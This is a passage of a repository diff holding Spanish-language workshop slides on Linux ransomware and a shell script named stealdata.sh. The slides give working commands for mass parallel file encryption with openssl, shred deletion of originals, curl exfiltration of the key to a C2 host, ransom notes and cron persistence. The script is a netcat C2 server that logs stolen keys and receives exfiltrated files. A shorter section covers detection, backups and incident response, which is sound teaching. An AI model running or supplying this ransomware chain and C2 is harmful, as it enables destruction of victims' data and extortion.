while IFS= read -r f; do
openssl enc -aes-256-cbc -in "$f" -out "${f}.enc"
done < /tmp/.targets
# Paralelo - todos los cores, al mismo tiempo
find /home/victim -type f -writable -print0 \
| xargs -0 -P $(nproc) -I{} \
openssl enc -aes-256-cbc -pbkdf2 \
-pass file:/tmp/.key -in {} -out {}.enc
```
`-P $(nproc)` = un proceso por core. En 16 cores: **miles de archivos en segundos.**
---
## La ventana de detección se cierra
Benchmark real, root, servidor, `xargs -P 36`:
| Fase | Tiempo |
|---|---|
| Reconocimiento de dirs escribibles | < 1s |
| Reconocimiento de archivos objetivo | < 1s |
| **Cifrado + shred (xargs -P 36)** | **1m 49s** |
| Notas de rescate en todos los dirs | < 1s |
Un backup en tiempo real típico tiene una ventana de **5 minutos**. El atacante termina antes.
---
# Módulo 3 {.center}
## Anatomía de un ataque
---
## Las 7 fases
1. **Reconocimiento** - `find -writable` mapea objetivos
2. **Generación de clave** - `openssl rand` crea clave efímera
3. **Cifrado paralelo** - `find | xargs -P` cifra todo
4. **Destrucción** - `shred -u` elimina los originales
5. **Exfiltración** - `curl` envía la clave al atacante
6. **Rescate** - `echo` / `wall` notifica a la víctima
7. **Persistencia** - `cron` re-cifra lo que se recupere
---
## Generación de clave
```bash
# Clave AES-256 efímera - 32 bytes aleatorios
KEY=$(openssl rand -hex 32)
```
La clave **nunca toca disco en claro** si se exfiltra inmediatamente.
Sin clave = sin recuperación.
---
## Cifrado + destrucción
```bash
printf '%s\0' "${TARGETS[@]}" \
| xargs -0 -P $(nproc) -I% sh -c \
'openssl enc -aes-256-cbc -pbkdf2 \
-pass pass:$KEY -in "$1" -out "$1.enc" \
&& shred -u "$1"' _ %
```
`shred` sobreescribe el archivo **varias veces** antes de borrarlo. No hay recuperación forense.
---
## Exfiltración de clave
```bash
curl -sk "https://$C2/?k=$KEY&v=$(curl -s4 ifconfig.me)"
```
Una sola petición HTTPS saliente. Difícil de distinguir de tráfico legítimo.
Una vez enviada: **la víctima no puede descifrar sin pagar.**
---
## Persistencia
```bash
(crontab -l 2>/dev/null; echo \
"*/5 * * * * find /home -type f -writable \
-newer /tmp/.key -print0 \
| xargs -0 -P 4 -I{} \
openssl enc -aes-256-cbc -pbkdf2 \
-pass pass:$KEY -in {} -out {}.enc") \
| crontab -
```
Cada 5 minutos: cualquier archivo nuevo que aparezca, cifrado.
---
# Módulo 4 {.center}
## Lab: "Preparando el plato"
---
## Entorno del lab
- VM Ubuntu/Debian **aislada** (sin red real)
- Usuario no-root con home poblado de archivos de prueba
- Snapshot limpio listo para restaurar entre ejercicios
- **Nunca ejecutar fuera de esta VM**
---
## Ejercicio 1: Reconocimiento
```bash
find /home/victim -type f -writable \
\( -name "*.txt" -o -name "*.pdf" -o -name "*.docx" \) \
> /tmp/.targets
wc -l /tmp/.targets
```
**¿Cuántos archivos encontraste? ¿En cuánto tiempo?**
---
## Ejercicio 2: Generar clave
```bash
openssl rand -base64 32 > /tmp/.key
cat /tmp/.key
```
Esta es la clave que "el atacante" se lleva. Sin ella, no hay descifrado.
---
## Ejercicio 3: Sentir la diferencia
Primero mide la versión lenta:
```bash
time while IFS= read -r f; do
openssl enc -aes-256-cbc -pbkdf2 \
-in "$f" -out "${f}.enc" -pass file:/tmp/.key
shred -u "$f"
done < /tmp/.targets
```
Luego restaura el snapshot y mide la versión real:
```bash
time find /home/victim -type f -writable -print0 \
| xargs -0 -P $(nproc) -I{} sh -c \
'openssl enc -aes-256-cbc -pbkdf2 \
-pass file:/tmp/.key -in "$1" -out "$1.enc" \
&& shred -u "$1"' _ {}
```
---
## Ejercicio 3: La pregunta clave
| Métrica | `while` loop | `xargs -P 36` | `tar \| openssl` |
|---|---|---|---|
| Tiempo total | **13m 40s** | **1m 49s** | **4.5s** |
| Archivos | **3.301** | **3.301** | **3.470** |
| Archivos/segundo | **~4 arch/s** | **~30 arch/s** | **~771 arch/s** |
| Speedup | baseline | 7.5x | **182x** |
| Output | 3.301 `.enc` | 3.301 `.enc` | 1 blob (29 MB) |
| Ventana de detección | 13 min | < 2 min | **< 10 segundos** |
**¿En qué momento hubiera sido posible interrumpirlo?**
- `while` loop: tienes **13 minutos**, hay tiempo de detectar el spike de I/O y actuar
- `xargs -P 36`: tienes **< 2 minutos**, necesitas detección automática, no humana
- `tar | openssl`: tienes **< 5 segundos**, cuando llegas ya terminó
Con `tarbulk`: el único momento de intervención real es **antes** de que empiece, no durante.
---
## Ejercicio 4: Nota de rescate
```bash
find / -type d -writable -print0 \
| xargs -0 -I% sh -c \
'echo "Tus archivos han sido cifrados.
Tienes 72 horas para pagar." > "%/LEEME_URGENTE.txt"'
wall /home/victim/LEEME_URGENTE.txt
```
---
## Ejercicio 5: Persistencia
```bash
(crontab -l 2>/dev/null; echo \
"*/5 * * * * find /home/victim -name '*.txt' \
-newer /tmp/.key -print0 \
| xargs -0 -P 4 -I{} \
openssl enc -aes-256-cbc -pbkdf2 \
-pass file:/tmp/.key -in {} -out {}.enc") \
| crontab -
```
Crea un archivo `.txt` nuevo. Espera 5 minutos. ¿Qué pasó?
---
## Ejercicio 6: Forense post-ataque
```bash
# ¿Qué quedó en auth.log?
grep -E "openssl|shred|xargs" /var/log/syslog
# ¿Qué procesos corrieron?
last
journalctl --since "30 minutes ago" | grep -E "openssl|shred"
# ¿Qué modificó crontab?
cat /var/spool/cron/crontabs/$(whoami)
```
**¿Hubo alguna señal detectable en tiempo real?**
---
# Módulo 5 {.center}
## Defensa: cómo no comer tierra
---
## El principio
> Si entendiste el ataque, entiendes dónde poner los controles.
Cada fase del ataque tiene un control defensivo correspondiente.
---
## Detección: auditd
```bash
# Instalar
apt install auditd
# Vigilar llamadas masivas a openssl
auditctl -w /usr/bin/openssl -p x -k crypto_exec
# Vigilar modificaciones a crontab
auditctl -w /var/spool/cron -p wa -k crontab_mod
# Ver alertas
ausearch -k crypto_exec | tail -20
```
Un spike de 500 procesos `openssl` en 10 segundos **es una alerta real.**
---
## Detección: comportamiento, no firma
Lo que hay que buscar:
- `openssl` lanzado por un proceso no esperado
- `xargs` con `-P` alto y muchos forks en poco tiempo
- `shred` ejecutado sobre extensiones de documento
- Escritura masiva de archivos `.enc` en directorios de usuario
- Modificación de `crontab` fuera de ventanas de mantenimiento
---
## Prevención: backups inmutables
```bash
# restic con repositorio de solo-escritura
restic -r s3:s3.amazonaws.com/mi-bucket backup /home
# ZFS snapshot automático cada hora
zfs snapshot tank/home@$(date +%Y%m%d-%H%M)
# S3 Object Lock - no se puede borrar aunque te roben las credenciales
aws s3api put-object-retention ...
```
El ransomware cifra lo que puede escribir. **No puede borrar un snapshot ZFS ni un Object Lock.**
---
## Prevención: mínimo privilegio
```bash
# Archivos críticos inmutables
chattr +i /etc/passwd /etc/shadow /etc/crontab
# AppArmor: openssl solo puede leer /tmp y /home/app
# /etc/apparmor.d/usr.bin.openssl
/usr/bin/openssl {
/tmp/** rw,
/home/app/** rw,
deny /** w,
}
```
Un proceso que no puede escribir fuera de su directorio **no puede cifrar el sistema.**
---
## Respuesta: el runbook
1. **Aislar** - desconectar de red, no apagar (la clave puede estar en RAM)
2. **Preservar** - dump de memoria con `avml` antes de cualquier acción
3. **Identificar** - ¿la clave fue exfiltrada? revisar logs de red
4. **Contener** - revocar credenciales, limpiar crontabs
5. **Recuperar** - restaurar desde snapshot inmutable más reciente
6. **Post-mortem** - ¿qué control hubiera parado esto?
---
# Módulo 6 {.center}
## Cierre
---
## Lo que aprendiste hoy
- Los LOLBins convierten el sistema en su propio enemigo
- `xargs -P` es la diferencia entre minutos y segundos
- El cifrado AES-256 con `openssl` es trivial desde la CLI
- La defensa efectiva requiere entender el ataque
---
## La lección real
> La mejor defensa es saber exactamente cómo te van a atacar.
Un blue teamer que nunca ha ejecutado un ataque **no sabe qué está buscando.**
---
## Recursos
- **GTFOBins** - catálogo de LOLBins y sus usos ofensivos
- **LOLBAS** - equivalente para Windows
- **MITRE ATT&CK T1486** - Data Encrypted for Impact
- **auditd rules** - github.com/Neo23x0/auditd
**Tarea:** auditar tu propio entorno con `auditd`. ¿Qué encontraste?
---
## {.center}
*"Que coman tierra... pero los atacantes."*
**Preguntas**
---
## Compilar con pandoc
```bash
# PPTX con plantilla corporativa (recomendado)
pandoc slides.md -t pptx \
--reference-doc="../../Red Team.pptx" \
-o slides.pptx
# reveal.js (para presentar en browser)
pandoc slides.md -t revealjs -s \
--highlight-style=monokai \
-o slides.html
```

BIN
QueComanTierra/slides.pptx Normal file

Binary file not shown.

97
QueComanTierra/stealdata.sh Executable file
View File

@@ -0,0 +1,97 @@
#!/bin/bash
# C2 listener:
# GET /?k=KEY&v=VICTIM_IP -> loggea clave
# POST /vault/VICTIM_IP -> guarda .vault.enc en vaults/VICTIM_IP/
PORT=${1:-9090}
LOG="stolen_keys.log"
VAULTS_DIR="vaults"
HTTP_200=$'HTTP/1.1 200 OK\r\nContent-Length: 0\r\nConnection: close\r\n\r\n'
mkdir -p "$VAULTS_DIR"
handle_get() {
local url="$1"
local key victim ts
key=$(grep -oP '(?<=k=)[^& ]+' <<< "$url")
victim=$(grep -oP '(?<=v=)[^& ]+' <<< "$url")
[[ -z "$key" ]] && return
ts=$(date '+%Y-%m-%d %H:%M:%S')
echo "[+] $ts victim=$victim key=$key" | tee -a "$LOG"
}
handle_post() {
local tmpfile="$1" url="$2"
local victim victim_dir offset body_start size ts
victim=$(grep -oP '(?<=/vault/)[^/ ]+' <<< "$url")
[[ -z "$victim" ]] && victim="unknown"
victim_dir="$VAULTS_DIR/$victim"
mkdir -p "$victim_dir"
# Busca el byte-offset del separador \r\n\r\n (fin de headers HTTP)
offset=$(grep -boa $'\r\n\r\n' "$tmpfile" 2>/dev/null | head -1 | cut -d: -f1)
if [[ -z "$offset" ]]; then
echo "[-] separador no encontrado en request de $victim" >&2
return
fi
body_start=$(( offset + 4 ))
dd if="$tmpfile" bs=1 skip="$body_start" of="$victim_dir/.vault.enc" 2>/dev/null
size=$(stat -c%s "$victim_dir/.vault.enc" 2>/dev/null || echo "?")
ts=$(date '+%Y-%m-%d %H:%M:%S')
echo "[+] $ts vault=$victim_dir/.vault.enc size=${size}B" | tee -a "$LOG"
}
handle_connection() {
local tmpfile="$1"
local request_line method url
request_line=$(head -1 "$tmpfile")
method=$(awk '{print $1}' <<< "$request_line" | tr -d '\r')
url=$(awk '{print $2}' <<< "$request_line")
case "$method" in
GET) handle_get "$url" ;;
POST) handle_post "$tmpfile" "$url" ;;
*) echo "[-] metodo desconocido: $method" >&2 ;;
esac
}
key_listener() {
local tmpfile
tmpfile=$(mktemp)
trap "rm -f $tmpfile" EXIT
echo "[*] Keys en :9090"
while true; do
printf '%s' "$HTTP_200" | nc -nlvp 9090 > "$tmpfile" 2>/dev/null
handle_get "$(awk 'NR==1{print $2}' "$tmpfile")"
done
}
vault_listener() {
local tmpfile
tmpfile=$(mktemp)
trap "rm -f $tmpfile" EXIT
echo "[*] Vaults en :9091"
while true; do
printf '%s' "$HTTP_200" | nc -nlvp 9091 > "$tmpfile" 2>/dev/null
local url
url=$(awk 'NR==1{print $2}' "$tmpfile")
handle_post "$tmpfile" "$url"
done
}
main() {
echo "[*] C2 iniciado. Logs en $LOG, vaults en $VAULTS_DIR/"
key_listener &
vault_listener
}
main